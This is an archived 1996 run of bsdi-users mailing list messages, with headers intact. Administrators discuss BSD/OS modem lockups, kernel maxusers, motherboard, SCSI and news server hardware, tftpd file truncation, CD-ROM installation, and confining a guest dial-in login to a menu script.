In-Reply-To: <1.5.4.32.19961123173229.00a23098@204.101.127.2> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Helen Birkmann Sender: owner-bsdi-users@lists.gateway.com To: Roch Pageau cc: Chris McGlasson , bsdi-users@BSDI.COM Subject: Re: Modems Locking..AHHH!!!!! Date: Sat, 23 Nov 1996 15:10:42 -0500 (EST) In the BSDI 2.1 GENERIC kernel, maxusers is set to 10 as a default. You appear to have more than 10 modems. Maybe that could be the problem. You have to set maxusers to 32 or 64 or 128 and then rebuilt the kernel. Also check to make sure that you are using the right dipswitch settinghs and the AT configuration via tip. The configuration the factory gives you may not necessarily be correct. I found that out the hard way with my Sportser 28800 external, when USR told me 3,7,8 hadda be down and it turned out to be only 3 and 8. On Sat, 23 Nov 1996, Roch Pageau wrote: > Chris, > > I seem to be having the same problems with the digiboard and practicals. It > only seems to happen on the last 10 ports for some reason. I thought they > might not be configured properly but cannot find any evidence of this. If I > get anything I will let you know, and am hoping you could do the same. > > Thanks > > Roch > > > At 07:21 PM 11/22/96 -0800, you wrote: > >Hello All. I have a major problem here. For some reason I have a couple > >of modems locking up on me almost every day. I have switched modems > >around, and switched lines with the same results. > > > >I am using BSDI 2.1, with digi 16EM digiboards, and 28.8 practical > >peripheral modems. I have the following configuration in my /etc/ttys > >directory:: > > > >ttyA00 "/usr/libexec/getty bidir.38400-hf" vt100 on > >ttyA01 "/usr/libexec/getty bidir.38400-hf" vt100 on > >ttyA02 "/usr/libexec/getty bidir.38400-hf" vt100 on > >ttyA03 "/usr/libexec/getty bidir.38400-hf" vt100 on > > > >Is there anything I can do to prevent this most annoying problem?!!! I > >have some irrate customers here! If there is any program, any > >configuration, or any advise that someone could give me to fix this > >problem, it would be greatly appreciated. Thanks in advance. > > > > > > > >Chris McGlasson > >System Administrator > >Net Connection of Bakersfield > >805.391.0561 > >chrism@chiba.netxn.com > > > > > > > > Roch Pageau > ----------------------------------------------------------------- > | System Administrator / Webmaster Internet Express | > | 365 St. Joseph blvd. | > | Hull, Quebec, Canada | > |email: rpageau@inexpress.net J8Y 3X6 | > |URL: http://www.inexpress.net Ph 1-819-776-0482 | > | http://www.inexpress.net/~rpageau Fax 1-819-776-1145 | > ------------------------------------------------------------------ > > From VM Sat Nov 23 20:43:02 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["146" "Sat" "23" "November" "1996" "16:46:15" "-0500" "gnat@kreative.net" "gnat@kreative.net" nil "7" "midi files" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id QAA12821 for ; Sat, 23 Nov 1996 16:46:54 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id QAA04092 for bsdi-users-outgoing; Sat, 23 Nov 1996 16:46:08 -0500 (EST) Message-ID: <329770A6.C8C@kreative.net> Reply-To: gnat@kreative.net X-Mailer: Mozilla 3.0 (Win95; I) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Precedence: bulk From: rich Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: midi files Date: Sat, 23 Nov 1996 16:46:15 -0500 How does one configure the BSDI web server for Netscape MIDI plugins? What file do I change and what directory should it be in? thanks rich From VM Sat Nov 23 20:43:04 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1319" "Sat" "23" "November" "1996" "17:32:21" "-0500" "Sam Brown" "root@ns2.clever.net" nil "37" "Re: Tyan motherboard?" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id RAA14173 for ; Sat, 23 Nov 1996 17:39:20 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id RAA04230 for bsdi-users-outgoing; Sat, 23 Nov 1996 17:36:14 -0500 (EST) In-Reply-To: <199611222312.SAA01713@web-ex.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Sam Brown Sender: owner-bsdi-users@lists.gateway.com To: Jim Cassata cc: Theodore Hope , bsdi-users@BSDI.COM Subject: Re: Tyan motherboard? Date: Sat, 23 Nov 1996 17:32:21 -0500 (EST) Mind you, ultra-scsi, for its price, makes about as much sense.. But let's not start the bandwidth/drive thread again. Keep in mind Asus pci ncr's run about $59 here, and one per drive on dual spindle, will kick it :) Sam On Fri, 22 Nov 1996, Jim Cassata wrote: > > I have BSD/OS running on other hardware, and wanted to know if > > you could tell me what CPU you have in your Tomcat-III board. > > The reason I ask is because I recall that somewhere someone > > wrote a message saying that there were problems (with BSD/OS > > and that motherboard) at 200 MHz. Is this not the case? > > Also, what SIMMs did you put it in? ASA sells "ESIMM" chips > > at _low_ prices, compared to the Kingston SIMMs (lifetime > > warranty). > Ted, > I put a P120 in the Tomcat3. I also purchased parity ram from ASA (CPU > too). They configured the MB for me. With parity ram, you can enable ECC > in the BIOS, which I really wanted. What are you going to do with it?? > 200 MHz is fast and expensive. I chose the 120 and spent extra money on > Ultra SCSI. Most of what we do is not that processor intensive. > let me know how you make out > > Jim Cassata > ______________________ > jim@web-ex.com > Web Express, Inc. > 20 Broadhollow Road > Suite 3011 > Melville, NY 11747 > 516.421.6000 > 516.421.3882 fax > From VM Sat Nov 23 20:43:05 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["726" "Sat" "23" "November" "1996" "17:41:34" "-0500" "Sam Brown" "root@ns2.clever.net" nil "26" "Re: SCSI III-Ultra Wide and AUI (15 pin) 10 mbit/sec network card... " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id RAA14178 for ; Sat, 23 Nov 1996 17:42:41 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id RAA04280 for bsdi-users-outgoing; Sat, 23 Nov 1996 17:45:25 -0500 (EST) In-Reply-To: <199611231324.NAA27676@genesis.domino.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Sam Brown Sender: owner-bsdi-users@lists.gateway.com To: "Neil J. McRae" cc: "Jacob M. Parnas" , bsdi-users@BSDI.COM Subject: Re: SCSI III-Ultra Wide and AUI (15 pin) 10 mbit/sec network card... Date: Sat, 23 Nov 1996 17:41:34 -0500 (EST) Where is this available? I'd rather not run beta code on a production server but you'd think *hint 3rd time* bsd folks could release a patch quickly. Sam On Sat, 23 Nov 1996, Neil J. McRae wrote: > On Fri, 22 Nov 1996 10:59:16 -0500 (EST) > Sam Brown wrote: > > > Again i stress the AA/AB chipset not the AC (Rev C/Pass 2.0). They aren't > > compatible yet. hint bsdi. hint. > > Does Matt Thomas driver work on BSDi? I *think* it suppoers this. > > Neil > -- > Neil J. McRae. Alive and Kicking. Domino: In the glow of the night. > neil@DOMINO.ORG NetBSD/sparc: 100% SpF (Solaris protection Factor) > Free the daemon in your computer! > > From VM Sat Nov 23 20:43:05 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1977" "Sat" "23" "November" "1996" "17:39:45" "-0500" "Sam Brown" "root@ns2.clever.net" nil "50" "Re: News server hardware" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id RAA14183 for ; Sat, 23 Nov 1996 17:42:57 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id RAA04269 for bsdi-users-outgoing; Sat, 23 Nov 1996 17:43:40 -0500 (EST) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Sam Brown Sender: owner-bsdi-users@lists.gateway.com To: Stephen Fisher cc: bsdi-users@BSDI.COM Subject: Re: News server hardware Date: Sat, 23 Nov 1996 17:39:45 -0500 (EST) > *Motherboard: > * Tyan Tomcat 1563 with P5-166, 512KB Pipeline Burst Cache, > * 5 ISA & 4 PCI slots I strongly recommend the Pentium pro-180 which runs $820 around atlanta. Otherwise go 120 or 150, the odd mghz are much cheaper due to less demand now and the perf difference is negligible. > > Sounds good, maybe a dual-pentium board for future upgrades? Is it worth > it? Not really. Disk IO is what you need to focus on. > * 64 MB 60nsec memory w/Parity Expandable to 512MB > * (ECC/EDO-optional) Go 128, 64 is NOT enough for a large newsfeed machine. > *Controller Card: > * Buslogic BT-948 PCI SCSI Card Ultra Fast Ports: > * 2x 16550 Serial, EPP parallel, Infra-red, PCI- IDE(Mode 3 > * 4), Floppy, PS/2 Bus Mouse > DPT PM2144UW (Smartcache IV with 68020-20). Upgradable to 64 megs cache and RAID. Invest in the future.. The 948 is a old/dead product. > * Hard Drive #2: > * Seagate ST34371, 7200,8MS 4.1GB Barracuda Ultra Data Disk (Qty:2 > * recommended for binary and complete news feed) Looks good. They look identical to my medalist 2 gig ide. They spin a helluvalot faster and whine real high pitched. For $1199, they are the same price as the standard wide barracuda's. Not time tested here, and i've killed two medalists which physically look the same, in a matter of weeks. The 15150W is proven. Take your chances. > * Networking: > * DECFast EtherWORKS 10/100 Mb/s PCI/32-bit RJ45 Ethernet > * Adapter(DE500-AA) > Make sure the chipset is DEC21140-AA or -AB, the AC won't work. Go to compusa and with a corporate account you can snag them pretty cheap and open the box first. .. Mind you i support up to 8 connections with a 16 megabyte freebsd box running dnews :) no lag really.. So you plan to many users, i'd suggest you plan your hardware more accordingly. Sam From VM Sun Nov 24 17:02:52 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["429" "Sun" "24" "November" "1996" "00:21:31" "-0200" "JOAO HENRIQUE BERGAMASCO" "jhbergamasco@netco.com.br" nil "19" "SSL for BDSI Apache ..." "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id VAA20137 for ; Sat, 23 Nov 1996 21:26:04 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id VAA04789 for bsdi-users-outgoing; Sat, 23 Nov 1996 21:20:35 -0500 (EST) Message-Id: <1.5.4.32.19961124022131.00b77118@mail.netco.com.br> X-Sender: jhbergamasco@mail.netco.com.br X-Mailer: Windows Eudora Light Version 1.5.4 (32) Mime-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Precedence: bulk From: JOAO HENRIQUE BERGAMASCO Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: SSL for BDSI Apache ... Date: Sun, 24 Nov 1996 00:21:31 -0200 Hi all, I have been looking for the kit for install a secure site here. Can you help me please ? Regards, Joao Bergamasco, NetCo. ------------------------------------------ NetCo. Tecnologia de Informa=E7=E3o Ltda. http://www.netco.com.br Internet/Intranet Provider Jo=E3o Henrique Bergamasco, Master CNE E-Mail: jhb@netco.com.br Florian=F3polis - SC - Brazil Fone/Fax +55(48)224-4140 From VM Sun Nov 24 17:03:00 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["565" "Sat" "23" "November" "1996" "19:32:35" "-0800" "Chris McGlasson" "chrism@chiba.netxn.com" nil "5" "Modem Configuration" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id WAA21515 for ; Sat, 23 Nov 1996 22:13:17 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id WAA04883 for bsdi-users-outgoing; Sat, 23 Nov 1996 22:09:51 -0500 (EST) Message-Id: <199611240332.TAA02785@chiba.netxn.com> Precedence: bulk From: Chris McGlasson Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: Modem Configuration Date: Sat, 23 Nov 1996 19:32:35 -0800 (PST) I was wonering if anyone has experienced this problem. I am using U.S. robotics33.6 external modems with digi 16/em boards. When I configure the modem using the following string: at&f&c1&d3x4m0l1s0=1 I get a steay TX/RV light on my modem. It's almost as if there is a signal being sent to the modem making it constantly busy. Any ideas as to why this might be happening? Has anyone used this combination of modems and digi type. I currently used kermit to configure each modem on a bsd2.1 OS. Any input would be greatly appreciated. Thanks in advance. From VM Sun Nov 24 17:03:03 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["960" "" "23" "November" "1996" "21:55:44" "-0500" "Craig Nordin" "cnordin@vni.net" nil "28" "fastest rock-stable motherboards?" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id WAA21811 for ; Sat, 23 Nov 1996 22:29:45 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id WAA04941 for bsdi-users-outgoing; Sat, 23 Nov 1996 22:33:31 -0500 (EST) Path: news.vni.net!cnordin Newsgroups: info.bsdi.users Organization: Virtual Networks Lines: 28 Message-ID: X-Newsreader: NN version 6.5.0 #6 (NOV) Precedence: bulk From: cnordin@vni.net (Craig Nordin) Sender: owner-bsdi-users@lists.gateway.com To: info-bsdi-users@uunet.uu.net Subject: fastest rock-stable motherboards? Date: 23 Nov 1996 21:55:44 -0500 I'm thinking of sticking with the Tyan Titan because I have had such good experiences with it. Well, It might be nice to find something better and faster, but I'd like to know that someone out there has had a good BSDI experience (under load) with the board before I go out and get all committed. If you are smilin because you have a fast and stable motherboard, please follow-up on this note and post your board's make, model, and bios version. Cheers! -- Jobs - Graphic Arts - Commercial Production -> http://studio.vni.net/jobs/ Virtual Networks Premier Internet Services cnordin@vnii.net Indianapolis Indianapolis Indianapolis Metro http://www.vnii.net/ Indiana Indiana Indiana Washington DC Washington DC Washington DC Metro http://www.vni.net/ Virtual Networks Incorporated Virtual Networks of Indiana, Incorporated Jobs - Graphic Arts - Commercial Production -> http://studio.vni.net/jobs/ From VM Sun Nov 24 17:03:03 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1006" "Sat" "23" "November" "1996" "22:34:17" "-0500" "Alan B. Clegg" "abc@gateway.com" nil "26" "TFTPD problem (fwd)" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id WAA22081 for ; Sat, 23 Nov 1996 22:32:07 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id WAA04949 for bsdi-users-outgoing; Sat, 23 Nov 1996 22:34:28 -0500 (EST) X-Authentication-Warning: black-ice.gateway.com: abc owned process doing -bs Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: "Alan B. Clegg" Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: TFTPD problem (fwd) Date: Sat, 23 Nov 1996 22:34:17 -0500 (EST) Date: Sat, 23 Nov 1996 16:50:13 +0100 From: Volkmar Grote To: BSDI ML Subject: TFTPD problem We ran into trouble with one of our routers when it tried to load its image from our 2.1 BSDI server with TFTP. We had first copied the wrong image to the server with TFTP and overwritten it with the correct one later. It didn't work. It turned out that the TFTPD does not truncate existing files, i.e. when I write 100 bytes to a file and overwrite it with 50 bytes afterwards, the files still is 100 bytes long. HP's tftpd doesn't do this. Is this a bug or a feature? How can I prevent it? I found no obvious reason for this behaviour in the source and no refernce to it on this list. Volkmar -- -- vgrote@ranahh.hanse.DE Volkmar Grote, Gilbertstrasse 25, D-22767 Hamburg, Germany, +49-40-31 33 39 "I want to die peacefully in my sleep, just like my grandfather... Not screaming in terror, like his passengers!" (jbs@asns.tredydev.unisys.com) From VM Sun Nov 24 17:03:21 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1165" "Sat" "23" "November" "1996" "21:03:42" "-0800" "Bill Webb" "webb@webb-home.chelmsford.telebit.com" nil "27" "Re: TFTPD problem (fwd)" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id AAA24621 for ; Sun, 24 Nov 1996 00:09:49 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id AAA05293 for bsdi-users-outgoing; Sun, 24 Nov 1996 00:09:22 -0500 (EST) Message-Id: <199611240503.VAA05176@webb-home.chelmsford.telebit.com> Precedence: bulk From: Bill Webb Sender: owner-bsdi-users@lists.gateway.com To: abc@gateway.com, bsdi-users@BSDI.COM Subject: Re: TFTPD problem (fwd) Date: Sat, 23 Nov 1996 21:03:42 -0800 (PST) > > We ran into trouble with one of our routers when it tried to load > its image from our 2.1 BSDI server with TFTP. We had first copied > the wrong image to the server with TFTP and overwritten it with the > correct one later. It didn't work. It turned out that the TFTPD does > not truncate existing files, i.e. when I write 100 bytes to a file > and overwrite it with 50 bytes afterwards, the files still is 100 > bytes long. HP's tftpd doesn't do this. > Is this a bug or a feature? How can I prevent it? I found no obvious > reason for this behaviour in the source and no refernce to it on > this list. > Its a known behaviour of tftp, but I haven't seen any good reason for it to be this way. I'd be inclined to think that either truncating the file first, or appending to the end of the file would be better behaviour but its probably too late to change it now. Truncation would be best in most cases, and appending would be best for logging error conditions etc. Bill Webb. Telebit NetBlazer Software Development Group Email: webb@telebit.com WWW: http://www.telebit.com/~webb -- above opinions are my own, not necessarily those of my employer -- From VM Sun Nov 24 17:03:36 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["474" "Sun" "24" "November" "1996" "02:32:15" "-0500" "Howard Leadmon" "howardl@abs.net" nil "10" "INN Troubles.." "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id CAA00367 for ; Sun, 24 Nov 1996 02:38:50 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id CAA07115 for bsdi-users-outgoing; Sun, 24 Nov 1996 02:32:24 -0500 (EST) Message-Id: <199611240732.CAA19181@abs.net> X-Mailer: ELM [version 2.4 PL25] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Precedence: bulk From: Howard Leadmon Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: INN Troubles.. Date: Sun, 24 Nov 1996 02:32:15 -0500 (EST) ------------------------------------------------------------------------------- Internet : howardl@abs.net | Howard D. Leadmon UUCP : wb3ffv!howardl | ABSnet Internet Services PHONE : (410)-361-8160 | 200 E. Lexington Street FAX : (410)-361-8162 | Suite-1602 PACKET : WB3FFV @ WB3FFV.MD.USA.NA | Baltimore, MD 21202 WWW : http://www.abs.net | From VM Sun Nov 24 17:03:37 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1710" "" "24" "November" "1996" "07:56:48" "UTC" "Jason Lixfeld" "carrera@idirect.com" nil "42" "Installing BSD/OS from panasonic CDROM" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id DAA00905 for ; Sun, 24 Nov 1996 03:02:13 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id CAA07130 for bsdi-users-outgoing; Sun, 24 Nov 1996 02:59:21 -0500 (EST) Message-Id: <199611240756.CAA31586@news3.idirect.com> Content-Type: TEXT/PLAIN; charset=US-ASCII MIME-Version: 1.0 X-Newsmaster: Laszlo Herczeg (las@idirect.com) X-Client-Port: 1402 X-Nntp-Posting-Host: hometown.idirect.com Precedence: bulk From: carrera@idirect.com (Jason Lixfeld) Sender: owner-bsdi-users@lists.gateway.com To: info-bsdi-users@rutgers.edu Subject: Installing BSD/OS from panasonic CDROM Date: 24 Nov 96 07:56:48 UTC I am trying to install BSD/OS 2.0 on a P120, 24MB RAM, 1.2GB Disk, and of all things, a Panasonic 2x CDROM (matsushita). The problem is, in the manual it states that only mitsumi cdroms are supported. Does this mean that I am out of luck, or is there a way that I can install it with my current configuration? In the manual also, it states that the i/o and IRQ have to be at 0x334, 0x340, irq 2/9. The Panasonic is on i/o 0x300 and the standard IRQ of 15 I think. The CDROM drive is not running off of an IDE interface. It is running off of a Panasonic interface. I used to have FreeBSD 2.1.5 installed on this system. Now then the device for the CDROM was /dev/matcd BSD/OS only shows as having /dev/mcd0 and this confuses me! Basically, I tried the manual's suggestion of changing the kernel configuration at the boot: prompt (after interupting the boot during the read from BOOT DISK 1). I changed it to 'boot: -dev mcd0 port=0x300 irq=15' trying to get it to read it at the current configuration with no luck. Basically when I choose cdrom as the media, it says: mount local cdrom: mcd0 ... mount_iso9660: /dev/mcd0a on cdrom. Filesystem type not configured. <-- that is a summary of the error message I get before it dumps me to a shell. If there are any tricks that I could do to get this thing working, I would be very interested to learn them and get this ball rolling! Thanks in advance... Regards, Jason A. Lixfeld -=- IDBS Administration System Administrator Client Services Representative Systems Liason -=- Internet Direct o/a ComputerLink Online Inc. 5415 Dundas Street West Suite 301 Etobicoke, ON M9B 1B5 CANADA [416] 233.7150 {V} [416] 233.6970 {F} -=- carrera@idirect.com From VM Sun Nov 24 17:03:50 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["93" "Sat" "21" "September" "1996" "09:34:07" "-0500" "Donald Dahlman" "druid@eoe-magical.org" nil "4" "GUI File Browser" "^From:" nil nil "9" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id JAA11753 for ; Sun, 24 Nov 1996 09:47:42 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id JAA07530 for bsdi-users-outgoing; Sun, 24 Nov 1996 09:32:53 -0500 (EST) Message-ID: <3243FCDF.52AB@eoe-magical.org> X-Mailer: Mozilla 3.0b6Gold (Win95; I) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Precedence: bulk From: Donald Dahlman Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: GUI File Browser Date: Sat, 21 Sep 1996 09:34:07 -0500 What is the best GUI file browser, and editor avaliable, and where can I locate it. Thanks. From VM Sun Nov 24 17:03:50 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["611" "Sun" "24" "November" "1996" "09:50:54" "-0500" "Jay Vassos-Libove" "libove@libove.mindspring.com" nil "15" "RealAudio player for BSD/OS v2.1 ?" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id JAA12022 for ; Sun, 24 Nov 1996 09:54:40 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id JAA07545 for bsdi-users-outgoing; Sun, 24 Nov 1996 09:51:06 -0500 (EST) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Jay Vassos-Libove Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM, support@BSDI.COM Subject: RealAudio player for BSD/OS v2.1 ? Date: Sun, 24 Nov 1996 09:50:54 -0500 (EST) I see that Progressive Networks has now got the RealAudio player available for Linux, using the VoxWare drivers. BSD/OS 2.1 has the same drivers. Does anyone know of any concerted effort to get Progressive Networks to release a RealAudio player for BSD/OS v2.1? (I believe that v2.0 lacked the VoxWare drivers, certainly versions 1.x lacked it). BSDi - have you contacted Progressive Networks about this? Jay Vassos-Libove libove@libove.MindSpring.com +1 770 552 0543 home +1 404 705 2867 work Roswell, GA 30075 U.S.A. The SouthEast Regional Internet Society SERIS - Enhancing Your Time On-Line From VM Sun Nov 24 17:03:53 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1319" "Sun" "24" "November" "1996" "10:50:11" "-0500" "Sam Brown" "root@ns2.clever.net" nil "40" "Re: fastest rock-stable motherboards?" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id LAA13916 for ; Sun, 24 Nov 1996 11:02:43 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id KAA07634 for bsdi-users-outgoing; Sun, 24 Nov 1996 10:54:43 -0500 (EST) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Sam Brown Sender: owner-bsdi-users@lists.gateway.com To: Craig Nordin cc: info-bsdi-users@uunet.uu.net Subject: Re: fastest rock-stable motherboards? Date: Sun, 24 Nov 1996 10:50:11 -0500 (EST) Stable under bsdi? ASUS. Anything asus made except the 486 motherboard(SIS need I say more), was perfect under the heaviest of loads. We use their p-75 -> p-200-pro and the board is rock solid. Recommend avoiding Triton I's, even though the asus does work. Sam On 23 Nov 1996, Craig Nordin wrote: > > > I'm thinking of sticking with the Tyan Titan because I have had > such good experiences with it. Well, It might be nice to find something > better and faster, but I'd like to know that someone out there has > had a good BSDI experience (under load) with the board before I go > out and get all committed. > > If you are smilin because you have a fast and stable motherboard, please > follow-up on this note and post your board's make, model, and bios version. > > Cheers! > > -- > > > > > Jobs - Graphic Arts - Commercial Production -> http://studio.vni.net/jobs/ > > Virtual Networks Premier Internet Services cnordin@vnii.net > Indianapolis Indianapolis Indianapolis Metro http://www.vnii.net/ > Indiana Indiana Indiana > Washington DC Washington DC Washington DC Metro http://www.vni.net/ > Virtual Networks Incorporated Virtual Networks of Indiana, Incorporated > > Jobs - Graphic Arts - Commercial Production -> http://studio.vni.net/jobs/ > From VM Sun Nov 24 17:03:54 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1901" "Sun" "24" "November" "1996" "00:22:16" "-0800" "Nader Kheyrdan" "root@cci-internet.com" nil "54" "Re: guest login" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id LAA14200 for ; Sun, 24 Nov 1996 11:19:05 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id LAA07683 for bsdi-users-outgoing; Sun, 24 Nov 1996 11:06:56 -0500 (EST) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Nader Kheyrdan Sender: owner-bsdi-users@lists.gateway.com To: Nazih Chamtie cc: Donald Dahlman , bsdi-users@BSDI.COM Subject: Re: guest login Date: Sun, 24 Nov 1996 00:22:16 -0800 (PST) Or you can trap all intrupts so user can't access the shell. Nader On Sat, 23 Nov 1996, Nazih Chamtie wrote: > On Sat, 23 Nov 1996, Nader Kheyrdan wrote: > > > only one line at the end of .profile/.cshrc depending on the shell. > > > > exec scriptmenu > > You're risking the users ability to get shell access with this, if you're > really sure (which is never the case) that your script is secure _enough_ > you should make the script the guest login's shell > the guest's shell would be /path/to/scriptmenu > > -Nazih > > > > > Nader@cci-internet.com > > > > > > On Thu, 19 Sep 1996, Donald Dahlman wrote: > > > > > I created a user login with no password, I created a menu with error > > > checking and it works. Where do I put the commands to run the script > > > when a guest dials in, and how do I make the script the shell, or > > > activate the menu script from the shell profile.? > > > Thanks. > > > > > > > > > ============================================================= > | P.O.Box 568 | Nazih Chamtie | > | Bellflower, CA 90707 | Systems Analyst | > | U.S.A. | ---===---@@@---===--- | > | E-Mail Address | B.S. Computer Science | > | master@nayzak.com | Cal State Univ., Long Beach | > |=============================================================| > | Opinions expressed herein are mine and may not reflect | > | those of my employer | > |=============================================================| > | "Life is like a pumpkin seed, it either breaks apart when | > | you come to eat it, then you spit it out, or you do it | > | right, and you enjoy what's inside" | > | Nazih Chamtie | > =======(c) 1996 by Nazih Chamtie, all rights reserved======== > > > From VM Sun Nov 24 17:03:56 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["3756" "Sun" "24" "November" "1996" "11:35:29" "-0500" "Jacob M. Parnas" "jparnas@jparnas.cybercom.net" nil "82" "Re: News server hardware " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id LAA15280 for ; Sun, 24 Nov 1996 11:57:16 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id LAA07729 for bsdi-users-outgoing; Sun, 24 Nov 1996 11:36:10 -0500 (EST) Message-Id: <199611241635.LAA03876@jparnas.cybercom.net> X-Authentication-Warning: jparnas.cybercom.net: Host localhost.cybercom.net didn't use HELO protocol X-External-Networks: yes In-reply-to: Your message of Sat, 23 Nov 1996 17:39:45 EST. Precedence: bulk From: "Jacob M. Parnas" Sender: owner-bsdi-users@lists.gateway.com To: Sam Brown cc: Stephen Fisher , bsdi-users@BSDI.COM Subject: Re: News server hardware Date: Sun, 24 Nov 1996 11:35:29 -0500 In message you write: >> *Motherboard: >> * Tyan Tomcat 1563 with P5-166, 512KB Pipeline Burst Cache, >> * 5 ISA & 4 PCI slots >I 